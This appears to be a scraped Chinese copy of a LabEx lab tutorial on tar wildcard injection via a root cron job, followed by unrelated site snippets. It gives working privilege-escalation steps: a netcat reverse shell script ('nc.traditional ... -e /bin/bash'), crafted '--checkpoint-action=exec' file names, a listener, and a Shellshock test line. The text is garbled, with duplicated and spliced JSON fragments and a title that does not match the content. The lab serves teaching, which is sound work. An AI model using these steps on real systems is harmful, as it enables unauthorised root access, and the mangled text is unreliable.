Nmap 中执行通配符注入提升权限
{ "position ":0, "title ": "介绍 ", "layout ": "doc-fullscreen ", "text ": " 介绍nn本实验的重点,是理解并实践通配符注入(wildcard injection)。这是一种在 Linux 系统中常见的提权思路。具体会围绕被广泛使用的 `tar` 命令
{"position":0,"title":"介绍","layout":"doc-fullscreen","text":"## 介绍nn本实验的重点,是理解并实践通配符注入(wildcard injection)。这是一种在 Linux 系统中常见的提权思路。具体会围绕被广泛使用的 `tar` 命令展开,看看通配符注入到底是怎么生效的,再结合 `crontab` 工具完成一次实际利用,最终获取 root 权限。n","need_verify":false,"has_solution":false},{"position":1,"title":"理解通配符","layout":"doc-workbench-split","text":"## 理解通配符nn先把基础打牢:什么是通配符,它在 Linux shell 里又是如何工作的?简单说,通配符就是一类特殊字符或字符组合,用来表示或匹配一组文件名或路径。nn下面是几种最常见的通配符:nn- `*`(星号):匹配文件名或路径中任意数量的字符,包括 0 个字符。n- `?`(问号):匹配任意单个字符。n- `[]`(方括号):匹配方括号中给定字符集合里的任意一个字符。n- `~`(波浪号):表示当前用户的主目录;如果后面跟着用户名,则表示对应用户的主目录。nn在提权场景里,`*` 和 `-` 这两类符号尤其值得注意。先来看 shell 是怎么处理 `-` 字符的。nn1. 打开终端,并切换到 `/home/labex/project` 目录:nn ```bashn cd /home/labex/projectn ```nn2. 当前目录里有一个名为 `--help` 的文件。可以先想一想,再动手试试,怎样才能查看这个文件的内容。nn 如果直接执行 `cat --help`,看到的不会是文件内容,而是 `cat` 命令本身的帮助信息。"} 文件的内容。nn 同样,如果你使用 `vim --help`,你会看到 `vim` 命令的帮助信息。nn 这是因为 Linux shell 将 `-` 解释为命令参数。nn3. 要查看 `--help` 文件的内容,你需要避免以 `-` 开头的文件名。你可以使用:nn ```bashn cat /home/labex/project/--helpn ```nn 这样,shell 就不会将 `--help` 解释为参数,你就可以查看文件的内容了。nn4. 现在,让我们用你选择的任何编辑器更改 `--help` 文件的内容。例如,你可以使用 `nano`:nn ```bashn nano /home/labex/project/--helpn ```nn 删除现有内容,并在文件中添加以下文本:nn ```plaintextn I can read the filen ```nn 保存并退出 nano。nnshell 的这种行为正是通配符注入所利用的。nn通配符注入通常与 cron 任务结合使用,因此让我们探索一个涉及 `tar` 命令的真实示例。n","need_verify":true,"has_solution":false},{"position":2,"title":"Crontab Tar 通配符注入","layout":"doc-workbench-split","text":"## Crontab Tar 通配符注入nn为了理解通配符注入如何导致权限提升,我们将通过一个涉及 `tar` 命令和 `crontab` 的实际操作练习来进行演示。nn1. 首先,通过运行以下命令初始化实验环境:nn 导航到 `/home/labex/project` 目录:nn ```bashn cd /home/labex/projectn ```nn 运行设置脚本,先把实验环境初始化起来:nn ```bashn ./env_setup.shn ```nn 初始化完成后,当前会切换到 `user001` 用户(这里模拟的是攻击者已经拿到了初始 shell 访问权限)。nn2. 接着,检查 `crontab` 里的计划任务:nn ```bashn cat /etc/crontabn ```nn 预期输出:nn ```bashn * * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *n ```nn 可以看到,这里有一个每分钟执行一次的任务,会把 `/var/www/html/` 目录下的内容打包成压缩文件 `/var/backups/html.tgz`。nn3. 然后,查看 `/var/www/html` 目录中的文件:nn ```bashn ls /var/www/htmln ```nn 要利用通配符注入漏洞,需要先在 `/var/www/html/` 目录中创建下面三个文件。nn 先切换到 `/var/www/html` 目录:nn ```bashn cd /var/www/html/n ```nn - `shell.sh`,内容是执行反向 shell 的命令:nn ```bashn echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.shn ```nn - 一个名为 `--checkpoint-action=exec=sh shell.sh` 的文件(注意文件名里的空格):nn ```bashn echo "" > "--checkpoint-action=exec=sh shell.sh"n ```nn - 一个名为 `--checkpoint=1` 的文件:nn ```bashn echo "" > --checkpoint=1n ```nn 创建这些文件后,`/var/www/html/` 目录应如下所示:nn ```bashn '--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.shn ```nn4. 当 cron 任务执行以下命令时:nn ```bashn tar -zcf /var/backups/html.tgz /var/www/html/*n ```nn 它将被解释为:nn ```bashn tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.htmln ```nn 以下是参数的含义:nn - `--checkpoint` 和 `--checkpoint-action` 通常一起使用。前者设置检查点,后者指定在达到检查点时执行的操作。n - `--checkpoint-action=exec=sh shell.sh` 表示在达到检查点时,将执行 `shell.sh` 脚本。nn 因此,每当 cron 任务运行时,`shell.sh` 脚本将被执行,这将反向 shell `/bin/bash` 到本地端口 4444。nn5. 在当前 shell 中设置一个监听本地端口 4444 的监听器:nn ```bashn nc -lnvp 4444n ```nn 稍等片刻,当 cron 任务执行时,我们应该会收到具有 root 权限的反向 shell:nn 预期输出:nn ```bashn Listening on 0.0.0.0 4444n Connection received on 127.0.0.1 56226n ```nn 尝试在 `/root` 目录中创建一个文件 `success.txt`,以确认你具有 root 权限:nn ```bashn touch /root/success.txtn ```nn 如果你可以创建文件而没有任何权限错误,那么你已经成功地利用通配符注入提升了权限。nn这种 `tar` + `crontab` 权限提升技术有两个重要的限制:nn1. `html` 目录需要为“其他”用户提供写(w)权限,以便我们可以在该目录中创建 `shell.sh` 和其他文件。nn2. `crontab` 中的 `tar` 命令不应包含绝对路径。例如,如果 `crontab` 条目如下所示:nn ```bashn * * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*n ```nn 通配符注入将失败,因为 shell 会将命令解释为:nn ```bashn tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.htmln ```nn 在这种情况下,`/var/www/html/--checkpoint=1` 和 `/var/www/html/--checkpoint-action=exec=sh shell.sh` 不会被解释为 `tar` 命令参数,注入将失败。n","need_verify":true,"has_solution":false},{"position":3,"title":"总结","layout":"doc-fullscreen","text":"## 总结nn在本实验中,我们学习了通配符注入(wildcard injection),这是一种用于在 Linux 系统上进行权限提升的技术。我们探讨了广泛使用的 `tar` 命令中的通配符注入原理,并通过结合 `crontab` 工具利用此漏洞来获取 root 权限,进行了实际操作练习。通过本实验,我们获得了理解和利用真实世界权限提升漏洞的实践经验,这对于任何安全专业人员或系统管理员来说都是一项必备技能。n","need_verify":false,"has_solution":false}
来源:https://labex.io/zh/tutorials/perform-wildcard-injection-in-nmap-for-privilege-escalation-416144
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
修复漏洞导致蓝屏的原因及解决方法
计算机在修复系统漏洞后出现蓝屏问题,除了系统层面的因素外,也很可能与硬件故障有关。下面为您整理了几种常见原因及对应的解决方法:1 内存条接触不良可以先关闭电脑并断电,拔出内存条,对金手指部位进行轻微擦拭,同时清理主板内存卡槽中的灰尘,然后重新安装到位即可。这类接触不良问题,往往是电脑蓝屏的常见原因之
CentOS系统漏洞修复方法与安全加固指南
在CentOS系统中,如何修复Bash漏洞?具体操作方法如下。那么,在CentOS命令行环境下,应该怎样修复Bash安全漏洞呢?其实操作并不复杂,只需要执行以下命令,更新Bash软件包即可完成漏洞修复。yum clean all yum makecache yum -y update bash
CAD图纸数据加密方法有哪些及如何设置
CAD数据加密的方法与操作步骤1 首先,在电脑中打开需要加密的CAD文件;2 打开CAD文件后,在软件界面中使用快捷键“ctrl+shift+S”,将当前文件另存为一个新的副本;3 在弹出的“另存为”窗口中,选择CAD文件的保存位置;4 设置好文件保存路径后,在对话框右上角的“定制工具”中点击“密码
Linux安全漏洞修复方法与常见漏洞处理指南
在 Linux 系统中修复 Bash 安全漏洞的方法1 首先,在 Linux 命令行中执行以下命令检测并扫描 Bash 漏洞;env x= () { :;}; echo vulnerable bash -c "echo this is a test "2 当检测到 Bash 存在安全漏洞时,可在命令
IE浏览器漏洞修复方法与安全防护指南
修复IE浏览器漏洞的常用方法1 首先,在电脑中启动IE浏览器;2 打开IE浏览器后,点击浏览器右上角的“工具”选项,并在下拉菜单中选择“Internet选项”;3 在弹出的Internet选项对话框中,切换到“安全”选项卡;4 进入安全设置页面后,点击“自定义级别”按钮,并将相关设置进行重置;5 完